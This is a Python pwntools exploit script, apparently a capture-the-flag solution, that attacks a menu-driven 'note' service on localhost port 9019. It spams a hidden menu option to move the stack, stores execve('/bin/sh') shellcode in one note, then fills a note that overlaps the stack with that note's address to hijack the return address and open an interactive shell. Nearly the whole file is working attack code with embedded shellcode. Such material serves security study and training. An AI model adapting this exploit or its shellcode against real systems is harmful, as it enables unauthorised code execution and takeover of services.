#!/usr/bin/env python
from pwn import *
           #-> 0xffffdb4c
#0xffffdb4c -> 0xffffd71c
#0xffffd71c -> 0xffffd2ec
#0xffffd2ec -> 0xffffcebc
#...
#0xffae11cc

def create_note():
    p.sendline('1')
    p.recvuntil('note created. no ')
    num = int(p.recvline()[:-1])
    data = p.recvline()
    addr = int(data[data.find("[")+1:data.find("]")],16)
    p.recvuntil('5. exit\n')
    return (num, addr)

def write_note(no, content):
    p.sendline('2')
    p.recvuntil('no?\n')
    p.sendline(str(no))
    p.recvuntil('byte)\n')
    p.sendline(content)
    p.recvuntil('5. exit\n')

def delete_note(no):
    p.sendline('4')
    p.recvuntil('no?\n')
    p.sendline(str(no))
    p.recvuntil('5. exit\n')

def check(addr, stack_addrs):
    for i in range(len(stack_addrs)):
        print hex(stack_addrs[i]), '-', hex(addr), '=', stack_addrs[i] - addr
        if (stack_addrs[i] > addr):
            if (stack_addrs[i] - addr <= 4096):
                return stack_addr[i] - addr
            else:
                return -1
    return -1


def delete_all():
    for i in range(0,256):
        delete_note(i)
if __name__ == "__main__":

        stack_addrs=[]
        addr = 0xffffdb4c
        for i in range(0,5000):
            stack_addrs.append(addr)
            addr+=0x430


        while True:
            try:
                p = remote('localhost', 9019)
                p.recvuntil('5. exit\n')
                #p = process("./note")

                print 'step 1...'
                for i in range(5000):
                    print i
                    p.sendline('6')
                    p.recvuntil('5. exit\n')

                first_no, first_addr = create_note()

                payload = "jhh///sh/binj\x0bX\x89\xe31\xc9\x99\xcd\x80"
                write_note(first_no, payload)

                print 'step 2...'
                i=0
                no = 0
                while True:
                    if no == 255:
                        delete_all()
                    print 'step2',i
                    i+=1
                    no, addr = create_note()
                    print hex(addr), 'created'
                    if addr <= 0xff000000:
                        continue
                    #ret = check(addr, stack_addrs)
                    #if ret == -1:
                        #continue
                    #print 'write', p32(first_addr), (ret/4)
                    #write_note(no, p32(first_addr) * (ret/4))
                    write_note(no, p32(first_addr) * 1032)
                    break

                p.sendline('5')
                print p.recvline()
                if "stack smashing" in p.recvline(timeout=15):
                    p.close()
                    continue


                p.interactive()
                p.close()
            except:
                print 'except'
                p.close()

